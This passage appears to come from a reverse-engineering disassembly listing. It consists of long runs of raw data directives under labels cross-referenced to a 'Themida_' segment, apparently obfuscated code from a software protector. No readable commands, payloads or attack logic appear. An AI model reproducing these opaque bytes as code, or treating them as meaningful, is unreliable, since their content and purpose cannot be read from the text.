		dd 0CC2E2C0Ah, 0CC51B418h, 47432794h, 0CC220DC6h, 0BAAAA41Eh
		dd 0C2A02799h, 8EA42193h, 0EE943F02h, 35056B15h, 9B944B43h
		dd 0CA4A227Bh, 97C0193h, 0EEDEA8CAh, 0EE0DA097h, 0CAA43C97h
		dd 9036093h, 0E80C7B65h, 24DF389Bh, 5FC1E3DCh, 0CC223FA2h
		dd 0D5E3A41Ah, 0CA232794h, 0CAA7C9C6h, 97722193h, 0A6A07C50h
		dd 8E1525B7h, 0CA5225B7h, 9F602193h, 1FF0FA50h,	0D9A0C38Dh
		dd 0ADA42193h, 49D47EDBh, 93C69895h, 53DF433Ah,	34AEBDE5h
		dd 77AE8207h, 0CC950DEAh, 9C494BD3h, 0CAA4227Bh, 90C0193h
		dd 0EE5DA8CDh, 0EED0A097h, 0CA4A3B97h, 9736793h, 7274E89Ah
		dd 41502392h, 0CAA1C993h, 44722193h, 9511FC20h,	4F1D2118h
		dd 0CC4D0982h, 227021F9h, 0CA922190h, 978A7CB3h, 0CE804D1Ah
		dd 0CE766512h, 0CA29218Fh, 2C5774D6h, 0CC7786C2h, 98CC0FD0h
		dd 0CA937C7Ah, 9C494B93h, 0CAA4227Bh, 90C0193h,	0EE5DA8CDh
		dd 0EED0A097h, 0CA4A3997h, 9736793h, 0E21C660Ch, 95569E92h
		dd 472D3015h, 0CC550392h, 67D0A41Eh, 40042799h,	4F457160h
		dd 0CA252191h, 0A002D618h, 0C9A17693h, 0EAA42193h, 430DE2CCh
		dd 4B2D05EFh, 0D39005D7h, 8D4A2193h, 0CEAFE2C4h, 435B4314h
		dd 0CA4FAD9Ch, 772D2193h, 0CC5507AEh, 0C53CB46Ch, 0CAFE2794h
		dd 0CA49C9C2h, 93052193h, 861B7850h, 8EC825B7h,	0CAB225B7h
		dd 9B132193h, 4BFED150h, 0E1B1B41Ah, 57C72794h,	0CC2F8C6Ch
		dd 0C23FA492h, 40192794h, 0EEB8A85Ch, 0CEA39C18h, 0C5B92794h
		dd 0CA942216h, 30C14793h, 0CFCD76C3h, 68922193h, 0BA7AA817h
		dd 0CAA4A99Ch, 900B2193h, 99294B03h, 0CA94227Bh, 9110193h
		dd 0EE79A8C8h, 0EED6A097h, 0CA493A97h, 9F76293h, 0CDEA9DA5h
		dd 0C81791BBh, 0CA91A89Ch, 0A9F02193h, 35798594h, 0CD9F9C06h
		dd 0CA5AC995h
		db 93h,	21h
word_5781D6	dw 75E8h		; DATA XREF: Themida_:0053EE08o
		dd 465F4E57h, 75399C3Ch, 0EDBAF8EBh, 374B8D0h, 0DB90A80Eh
		dd 949426B3h, 0C3B0A41Ah, 0CACE2794h, 0CA51C9C6h, 97092193h
		dd 0A61D7C50h, 8ECB25B7h, 0CA3025B7h, 9FD72193h, 22356A50h
		dd 0CAA4219Ah, 0FE28A209h, 92A96CF3h, 8321A8F7h, 954C26B5h
		dd 0CABC9C18h, 4F542794h, 0CC4E285Eh, 9CA44BC0h, 0CA52227Bh
		dd 9770193h, 0EEE0A8CDh, 0EE0EA097h, 0CA253A97h, 9C46793h
		dd 0E10162DBh, 75F60581h, 0CF1BBC1Ah, 0A0412794h, 746DAD21h
		dd 0E016E15Ch, 0DF011512h, 0F9C12AA5h, 0CD51D406h, 0CAA9C895h
		dd 7CCF2193h, 0E47601F4h, 8893E5Eh, 35E2BCC1h, 0CD28B826h
		dd 0CA80C995h, 0AF422193h, 0B6A97C1h, 85EA1521h, 462EED7Fh
		dd 5F9BFE3Ah, 0CA4A327Ah, 239D5F93h, 0CFE421E7h, 0E6849C29h
		dd 54F73583h, 0D5FADBB5h, 0F2ACACCDh, 0A0922BE3h, 0C9A27193h
		dd 0EA252193h, 43CAE2CBh, 4B4D05D7h, 0DEA005D7h, 8A522193h
		dd 41C0E2C3h, 0CD9CDC2Eh, 419ADE95h, 0CD203426h, 5B17A895h
		dd 0C4F2694h, 0CDADEC16h, 3CD36695h, 0F6EEBCAEh, 4D97BAFBh
		dd 0F6619F06h, 0FEA435D2h, 3F842AB7h, 9F494BA7h, 0CAA4227Bh
		dd 90F0193h, 0EE45A8CEh, 0EED0A097h, 0CA4A3B97h, 9706493h
		dd 1619CE68h, 35DF1BE1h, 0CDA9B826h, 0CFE7AA95h, 472F269Ch
		dd 0C0E41916h, 9D4A4B95h, 0CA25227Bh, 9CD0193h,	0EE35A8CCh
		dd 0EEE0A097h, 0CA523B97h, 97E6693h, 0E856EC30h, 3515CE1Ch
		dd 752A4143h, 9137354h,	0BBA6AD78h, 4F2D40CCh, 0CC5523C2h
		dd 227E21F9h, 0CA942190h, 95897EB3h, 0CE015D1Ah, 0CEB66512h
		dd 0CA49218Fh, 366776D4h, 0DE97F7F4h, 5CED6925h, 6F0908F3h
		dd 754C2693h, 96950DE1h, 717E7F2h, 994F269Ah, 7C0FC312h
		dd 0CEBA42F9h, 5A292193h, 990D18CCh, 0CDA271CDh, 67252193h
		dd 0F152B4CCh, 7A294B5Eh, 41FE4036h, 0AC5605D7h, 0CAA2EA18h
		dd 0CA942F7Ah, 26143F93h, 1120B07Eh, 0EDCB14Eh,	43E65E5Fh
		dd 70A005D7h, 0DFB111B1h, 9B294BCBh, 0CA94227Bh, 9130193h
		dd 0EE69A8CAh, 0EED6A097h, 0CA493597h, 9F56093h, 7FADDD81h
		dd 0CC2E2C0Ah, 22C621F9h, 0CA4A2190h, 90E67BB3h, 0CEB6751Ah
		dd 0CE6D6512h, 0CAA4218Ah, 0A19173D1h, 0AEDB1811h, 0A3291299h
		dd 474C26B3h, 0C0551916h, 35252E95h, 412FF16Ch,	9321A844h
		dd 2354268Bh, 0CA292194h, 39389C40h, 0C309B63h,	0CD2CEC16h
		dd 0CAF87695h, 0CA4AC9C4h, 95842193h, 0B6DB7E50h, 8EA825B7h
		dd 0CA8225B7h, 9D0D2193h, 0A350F350h, 0CE7A0226h, 0CC492193h
		dd 413425C1h, 0D8BB7161h, 84292193h, 0ACD057Ch,	464CFD4Ch
		dd 0D62C880Dh, 0DB748125h, 0EE0DAA8Dh, 416EAB97h, 0ECED4793h
		dd 0EE6DA8F3h, 9CC67197h, 0C51340F3h, 0A9B47A2h, 92CA7BC2h
		dd 221A21F9h, 0CAA42190h, 91917AB3h, 0CE0D7D1Ah, 0CEB06512h
		dd 0CA4A218Eh, 0E7E672D0h, 0B0711919h, 0CB92E07h, 1F31A885h
		dd 0C55426B9h, 0CA29371Bh, 0C37D4193h, 134A2193h, 0C6C19B81h
		dd 0C1889439h, 0E138AC18h, 0ACC52794h, 350B1C29h, 0CD24B826h
		dd 9F944B95h, 0CA4A227Bh, 9780193h, 0EEFEA8CEh,	0EE0DA097h
		dd 0CAA43D97h, 9076493h, 7613211Bh, 4161EC4Fh, 0F7C7AA51h
		dd 47232681h, 0C0E21916h, 9C494B95h, 0CAA4227Bh, 90C0193h
		dd 0EE5DA8CDh, 0EED0A097h, 0CA4A3797h, 9736793h, 4A940B3Fh
		dd 77C24175h, 0CCA32E3Eh, 0CA38F16Ch, 0CA2AC9C6h, 97B42193h
		dd 0A6C37C50h, 8EA425B7h, 0CA8425B7h, 9F0C2193h, 4025EF50h
		dd 0D23FA4BAh, 4FA02794h, 0CC930A1Ah, 221A21F9h, 0CA252190h
		dd 925179B3h, 0CE6D651Ah, 0CE806512h, 0CA522189h, 3AEA71D3h
		dd 3FC5E5CAh, 7FC33E94h, 0CC222202h, 0C35FA455h, 0A00A2794h
		dd 0C94C7393h, 0EA522193h, 4373E2C9h, 4B9005C7h, 0D74E05D7h
		dd 88252193h, 7616E2C1h, 7CBFD475h, 9B3A6599h, 0CEBAF119h
		dd 0E2292193h, 9A28B1E3h, 93B9BF5h, 0CE016518h,	98C22118h
		dd 0FB4673C3h, 27DA3129h, 0C50A7BE7h, 0CA2CC8A2h, 8B432193h
		dd 906EC8DBh, 0EE61A8CBh, 9D284797h, 0CA2379B2h, 0CAA7C9C0h
		dd 91722193h, 96A07A50h, 8E1525B7h, 0CA5125B7h,	99662193h
		dd 98A77550h, 681047B5h, 6B191250h, 415426BBh, 0CD21C406h
		dd 5321DE95h, 0AC4C269Eh, 4FA8F218h, 0CC9851ABh, 221F21F9h
		dd 0CAA42190h, 94917FB3h, 0CE0D551Ah, 0CEB06512h, 0CA4A2189h
		dd 51E677D5h, 82155BDFh, 1AB6B96Ch, 0C969BCA2h,	4FDB2794h
		dd 0CC2E267Eh, 22C721F9h, 0CA4A2190h, 91E67AB3h, 0CEB67D1Ah
		dd 0CE6D6512h, 0CAA4218Bh, 0E79172D0h, 0DFD01476h, 0CA942C7Ah
		dd 9BEC6893h, 8AE1E374h, 0A0C3B21Dh, 4FC4AB33h,	0CCAE8C7Ch
		dd 220221F9h, 0CA292190h, 925779B3h, 0CE6E651Ah, 0CE016512h
		dd 0CA922186h, 0DC8A71D3h, 7F41A172h, 30ED47C3h, 0EE2DA8EBh
		dd 0D8459CBAh, 4B2C2794h, 35C4A05Ch, 0CD9D3406h, 9C494B95h
		dd 0CAA4227Bh, 90C0193h, 0EE5DA8CDh, 0EED0A097h, 0CA4A3597h
		dd 9736793h, 0A04AAAEFh, 0C9A17693h, 0EAA42193h, 430DE2CCh
		dd 4B2D05EFh, 0D29005D7h, 8D4A2193h, 59C3E2C4h,	4137EEDAh
		dd 0CD67142Eh, 2921AC95h, 0A0542B3Eh, 0C9C17493h, 0EA942193h
		dd 4317E2CEh, 4B2105FFh, 0D79605D7h, 8F492193h,	5699E2C6h
		dd 822AC946h, 8A3B2ED5h, 0C1F1AC18h, 0CB2794h, 0B41143A1h
		dd 0D32C47C3h, 0EE4DA875h, 0F31A4700h, 2FED71EBh, 5944D474h
		dd 356B969Ch, 0CD479C06h, 41457795h, 0CDB95406h, 0BCC2095h
		dd 0ABA2269Eh, 27D7A8C9h, 332F26BAh, 0EA41A454h, 0CA452794h
		dd 0CA4F2193h, 0CA91C9C3h, 92692193h, 8E2D7950h, 8ED325B7h
		dd 0CA3E25B7h, 9AD42193h, 0CA38F350h, 0AB98A817h, 359426B8h
		dd 0CD60CC06h, 4353AA95h, 0CD73B016h, 7F942895h, 419226BFh
		dd 0CD4D9816h, 44B8AC95h, 43942B53h, 77C420D0h,	0CCA30FE6h
		dd 0A3A941Eh, 0F9902799h, 39942193h, 7279CA37h,	0CA252193h
		dd 0C9E6E198h, 41493951h, 99A805D7h, 0CA52217Bh, 9A87A93h
		dd 0CA942184h, 0DA6E7D1Ah, 0DE01651Ah, 6AA599C8h, 2AB6210Ch
		dd 0CE806518h, 5FDBC16Ch, 0CC2E2F6Eh, 0F9BDB4A2h, 0A02B2794h
		dd 0C9CD7693h, 0EA922193h, 4316E2CCh, 4BA005EFh, 0D35605D7h
		dd 8D292193h, 241FE2C4h, 95A47A1Ch, 77A8EE19h, 0CC988C70h
		dd 0AAEAC1Eh, 0FF1C2799h, 0F9CA0738h, 0CD2D2416h, 0B5B0A95h
		dd 7BAA237Ah, 93CA9235h, 81CC4389h, 533A1DD0h, 22E4E9EDh
		dd 343175B5h, 0E983B816h, 8BA4F305h, 55006AD9h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0AE952h, 0B1DA0000h
		dd 313174E8h, 370CBF44h, 8BE9h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 9CE0B491h
		dd 0E99F4C2Eh, 6, 5D859856h, 0FC60AF59h, 48A0Fh, 0BB660000h
		dd 61616A16h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 19h,	11C35040h, 2EB2BFFh, 820F60EBh,	2, 0B70F5856h
		dd 6AC361DBh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0DC5BC351h, 358FE8A2h,	83F9C08Bh
		dd 71ACDBDh, 9750006h, 1135BD83h, 74000607h, 8B535019h
		dd 4B9B8C0h, 85890000h,	6072F81h, 0AE279D8Dh, 0D3FF0609h
		dd 0BD83585Bh, 6071135h, 50177400h, 4B9B853h, 85890000h
		dd 6072F81h, 0AAC89D8Dh, 0D3FF0609h, 0CE9585Bh,	84000000h
		dd 0B1AB373Ch
		dd 0D3B6E1EFh, 6A513E71h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8BCDC357h, 1860FC0h
		dd 0F5000000h, 0E9C18B40h, 14h,	0ED0E1066h, 5ED3150Bh
		dd 0C7544B8Fh, 10CD591Bh, 1BABB1AFh, 4EBh, 0B70F0000h
		dd 0B58B60FBh, 6072661h, 0B1858D61h, 0F060718h,	282h, 66F88B00h
		dd 0F0BECE81h, 118C0F90h, 0E8000000h, 7, 7608595Ch, 661ED1BDh
		dd 5EA940BEh, 0AE950h, 50090000h, 6FA035F2h, 9C3BC1E9h
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 78F3B4BAh, 6A006A2Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0DAD5C351h
		dd 13DEF1F1h, 0E9B58993h, 6A060712h, 0AFC78100h, 8D4ACE1Fh
		dd 0AC41285h, 0F08B6606h, 6A05C083h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0F8BC353h
		dd 8E0F81h, 0F8000000h,	7E950h,	15E20000h, 7C867EA4h, 24048900h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B7C35343h
		dd 383F2EE1h, 6810F7Eh,	8B000000h, 72645B5h, 1006A06h
		dd 70BAD85h, 6A006A06h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 57AFC357h, 0E7816698h
		dd 0B52B6649h, 6071079h, 1E3D95FFh, 6A0607h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0BFA89AC3h
		dd 0FBEDA80h, 68Bh, 0ADBD8B00h,	8D060701h, 0A93D59Dh, 0FEBF0F06h
		dd 6AD3FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 361D6BC3h, 0F61C8D0h, 0FBD33BFh, 5985FF4Fh
		dd 0B06072Fh, 70DD1BDh,	7CAE906h
		db 2 dup(0)
word_578BD6	dw 0E8h			; DATA XREF: Themida_:0053D36Co
		dd 5D000000h, 0C41CED81h, 6A060Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 5A55F1C3h, 8166AB42h
		dd 8101EED6h, 720D5BDh,	7D006h,	0BC860F00h, 6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 9ED3C355h, 153BA8A6h, 286274C3h, 6E9h, 6E0BE00h
		dd 8B4FC7C8h, 720619Dh,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 47D07B1Dh, 0F305159h
		dd 0B58BF1B7h, 6072315h, 100E381h, 8F0F0000h, 11h, 0CE9h
		dd 0D6305200h, 0B1E86448h, 4DD3F28Eh, 0FDB0B41h, 0B285h
		dd 63BD8300h, 60AC2h, 51840Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 8C8CFCC3h
		dd 0F8AC2EBCh, 0AFE9h, 51006A00h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 67BFBE0h, 6E9h, 490F6300h
		dd 0C774E763h, 0AC26385h, 106h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0FFF159Fh
		dd 56E9B5h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 10B152C3h, 733075A3h, 0C7FC32E6h
		dd 0AC26385h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 8A11BA21h, 0A1530D14h
		dd 0F0BF0F09h, 20619D8Dh, 13E80607h, 6C000000h,	0C17B0C43h
		dd 0DC152A55h, 15A370D4h, 7276F71Bh, 8166653Ch,	5FAB38F6h
		dd 0FEFF2381h, 6AFFFFh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 8A615DC3h, 0F31248C4h, 7D8D899Eh
		dd 66060701h, 6ADB8Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0FC05A8C3h, 3AD4DEF8h, 19BD8960h
		dd 8B060731h, 7067195h,	95896106h, 6073235h, 0F04C3F6h
		dd 3884h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0DBBD9022h, 0CCD36315h, 1E8DBD89h
		dd 95FF0607h, 60729EDh,	1064BF50h, 48971F2h, 3C6E924h
		dd 89530000h, 712C1BDh,	0B58B5E06h, 6072D0Dh, 6A00B0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 81669AC3h, 0E811E7E6h, 0Dh, 0D00D6B7Ah, 0CBFB1039h
		dd 2FD59D81h, 68D0F3Fh,	89000000h, 71EF995h, 70E65F06h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0D0C35242h
		dd 0AEF161D2h, 8AC03EFEh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0F78F7C3h, 6AD8B6h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 39EA6C3h, 6BAh, 0E5858900h, 8B060704h, 53006AC3h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 977F4471h, 6A04E8C1h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8973C356h, 7048D9Dh
		dd 0E2F76606h, 1A31B58Bh, 0D82B0607h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 75C35747h, 57EC68F2h, 0C68166CFh
		dd 6650108Ch, 1C89F98Bh, 35BD8B24h, 0FF060726h,	720D5B5h
		dd 49BD8B06h, 0F060722h, 0C8Dh,	6820F00h, 33000000h, 729A5B5h
		dd 6995FF06h, 6606070Dh, 0B097FCBEh, 0D516BE00h, 70E63ACEh
		dd 8171E4F8h, 0E12C7FE6h, 0F613C4Bh, 23F83h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 978B68E7h, 20B440Dh,	6AD8B60Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0E87BC357h
		dd 8B66B7AEh, 6BAF3h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0B2234DC3h, 32717F0Eh
		dd 9E8D6h, 98AC0000h, 0E40B160Bh, 895D777Fh, 7299D8Dh
		dd 95295E06h, 60700A9h,	0B70FC38Bh, 0E78166FFh,	0E8C16974h
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 6716CFE4h, 8957DDC0h, 732BDB5h, 0F7665F06h
		dd 55006AE2h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0BA518347h, 2B5F5121h, 52006AD8h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 4235C4FDh, 29478EACh, 710ED8Dh, 6A5806h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 199D1DC3h
		dd 76AE3916h, 8EBE32CBh, 2B1AED11h, 0FD880FD8h,	0E9000000h
		dd 0Dh,	0E88350E0h, 87A1A9E6h, 7AB257F9h, 7B9ADh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 22732CC3h, 83F88B66h, 852900C1h, 6070CA1h, 860FD93Bh
		dd 0B4h, 29D98C66h, 71AF5BDh, 4C1F606h,	77840Fh, 0FFF50000h
		dd 729ED95h, 97BE6606h,	6A5B34h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 3EC5E0C3h, 0CE40045Dh
		dd 8BF78B6Bh, 7188DBDh,	31C32B06h, 70299BDh, 8343D06h
		dd 860F0000h, 2Dh, 0DC5B52Bh, 85090607h, 60729C9h, 47E9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 6AC08BBBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 9E2DC351h, 0D5BFD5D8h
		dd 66749351h, 69A7D681h, 0D88BC38Bh, 972BBF66h,	21A985C7h
		dd 87DF0607h, 6A7E23h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0BD8B16C3h, 607291Dh, 8B66C08Bh
		dd 0D5BD81F1h, 0D0060720h, 0F000007h, 5485h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0BD2BFE19h, 60718D9h, 20D585FFh, 6A0607h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 3792C7C3h
		dd 3870C3B1h, 8BB10229h, 71101BDh, 0D5B5FF06h, 6A060720h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 2275C351h, 8D896060h, 6071095h, 29FD8D89h
		dd 1610607h, 700E195h, 0BD8B6106h, 6071045h, 0D6995FFh
		dd 0BD230607h, 6072D71h, 13B1BD8Bh, 0B8900607h,	12345678h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0FEC35141h
		dd 0C2EB6B18h, 0B1B96020h, 0FE8h, 0B746C000h, 2B902052h
		dd 954E63BAh, 1949E529h, 5EF6B70Fh, 1A51BD8Bh, 0BD8B0607h
		dd 6071019h, 0CB489D8Dh, 77E9060Ah, 6AFFFFF8h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0D33AC353h, 2B60E075h, 7023185h, 13E906h, 7FAF0000h
		dd 0C69E7368h, 0D31BF1A4h, 0A9208144h, 0D4E958EBh, 61F98BAFh
		dd 880FC18Bh, 6, 1089B58Bh, 4EB0607h, 0
		dd 701BD8Bh, 0F6810607h, 7C1D0F6Bh, 18B1858Dh, 0B50B0607h
		dd 6070779h, 6E850h, 17C00000h,	6EC387DBh, 5EF18B66h, 6A240489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 630EC357h, 7FB21A42h, 11B58B35h, 0F06070Dh
		dd 687h, 21B58B00h, 6A060703h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0FEB70FE2h
		dd 890F006Ah, 5, 70DEFCBFh, 77858D1Fh, 66060ACDh, 0C92FEE81h
		dd 6A05C083h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0DD21C355h, 2622632Eh,	0D631D376h
		dd 7E860h, 611C0000h, 9D6A31Bh,	39B53333h, 5E060710h, 4895061h
		dd 31B58B24h, 6A060700h, 6AF900h, 25B59D89h, 95FF0607h
		dd 6071E3Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	62C35747h, 0AEBA7C40h, 2D719D89h, 9D8D0607h, 60A93D5h
		dd 39B589h, 0B52B0607h,	6071FF9h, 6AD3FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 8BA6D3C3h
		dd 70987BA5h, 5985FFA7h, 6A06072Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0F562C357h
		dd 8509794Ah, 6070005h,	0C744BE66h, 215DB58Bh, 6AE90607h
		dd 0E800000Dh, 0
		dd 81ED815Dh, 66060ACDh, 49BEEE81h, 0B7DB58Bh, 0BD810607h
		dd 60720D5h, 7D0h, 103860Fh, 0BD2B0000h, 6071F81h, 9D99D8Bh
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 7405F0C3h, 0A2655B5Ch, 25B1B58Bh,	0E3810607h
		dd 100h, 2A79BD8Bh, 0DB0B0607h,	92850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0C4AA35C3h, 0BD8311E8h, 60ACBF1h, 4A840F00h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8BD0C350h, 722BDB5h, 12E906h, 7AEC0000h
		dd 9D2EAF27h, 0B87D3ACh, 0EA722CE7h, 8B4FAD12h,	36E9h
		dd 2D958900h, 8B060730h, 70875BDh, 0F185C706h, 1060ACBh
		dd 89000000h, 722098Dh,	15E906h, 9D090000h, 6072625h, 0CBF185C7h
		dd 60Ah, 51BF0000h, 8D7A81E5h, 709D99Dh, 2FD78106h, 810D1DCFh
		dd 0FFFEFF23h, 858956FFh, 6072181h, 0DB8C665Eh,	4F7BE66h
		dd 2A98589h, 0C3F60607h, 56840F04h, 52000000h, 5FFEBF0Fh
		dd 29ED95FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0AE7CB4C3h, 21063BA3h, 0B58960F4h
		dd 6072D1Dh, 61858B53h,	58060706h, 0C7816661h, 50900F8Ch
		dd 0E735BF66h, 68C0F90h, 89000000h, 718658Dh, 32BE906h
		dd 0BD890000h, 6072BD9h, 0F5700B0h, 681h, 6DB50100h, 5E06072Dh
		dd 10E8h, 671DA200h, 7695F91h, 0B32DA003h, 22BE632Ah, 0BD8952F3h
		dd 6071911h, 70E65E5Eh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 3CC35242h, 6618D640h,	71E4F38Bh, 6AD8B60Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0B8DCC353h, 9D897D27h, 607139Dh, 6BAh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 76E12F17h, 8BC5DC34h, 51006AC3h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 3B2DF8C1h, 922E4A38h
		dd 359D2958h, 0C106072Ah, 0F76604E8h, 0D82BFCE2h, 890Fh
		dd 0BF500000h, 393F1ACAh, 56241C89h, 0D5B5FF5Eh, 9060720h
		dd 72A21BDh, 6995FF06h,	6A06070Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 9A35C356h
		dd 0B0215CBAh, 51006A00h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0F486C660h, 7E62E16h
		dd 880F70E6h, 5, 185A58BFh, 6A71E477h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 551EC350h
		dd 69AC1311h, 6690E586h, 1076E781h, 830F613Ch, 1A5h, 0FF1BF0Fh
		dd 0BD8BD8B6h, 6072991h, 6BAh, 2DBD8B00h, 8B060730h, 49B58BC3h
		dd 0C1060706h, 6A04E8h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 3F64EDC3h, 0C177C35Eh, 29677739h
		dd 7069D9Dh, 93E9BF06h,	0F76611A1h, 57006AE2h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 7BD7EAF9h
		dd 8B3644E2h, 706F5BDh,	0FB8B5206h, 29D82B5Fh, 72A0185h
		dd 0BF665806h, 0D82B6860h, 10F880Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0B04D10C3h
		dd 0CEBA1C6Dh, 0CE9BDh,	19BF0000h, 6591CD40h, 2E28B5B0h
		dd 7B91AC0h, 83000000h,	0BF0F00C1h, 0FD93BF2h, 0C886h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 787F3FCBh, 8FBB1B19h, 8B66556Eh,	0D98C66FBh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0AFC35646h
		dd 7384BCC2h, 8D9589FAh, 57060718h, 4AC4C6BFh, 0C1F65F1Bh
		dd 64840F04h, 0F000000h, 95FFF3B7h, 60729EDh, 6A5BF18Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 75AAC350h, 91BD8B31h, 2B060713h, 53006AC3h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 8343D69h, 860F0000h,	0Bh, 4B0FF681h,	2E96124h, 8B000000h
		dd 8BC38BC0h, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 85C7E260h, 6072061h, 7C7C01F5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 9CC35747h, 0BC9634E0h
		dd 9D67C918h, 5FDFBF66h, 0DC5B589h, 0C08B0607h,	20D5BD81h
		dd 7D00607h, 850F0000h,	9, 0FFFAB70Fh, 720D585h, 0D5B5FF06h
		dd 31060720h, 71A419Dh,	6995FF06h, 3106070Dh, 719EDB5h
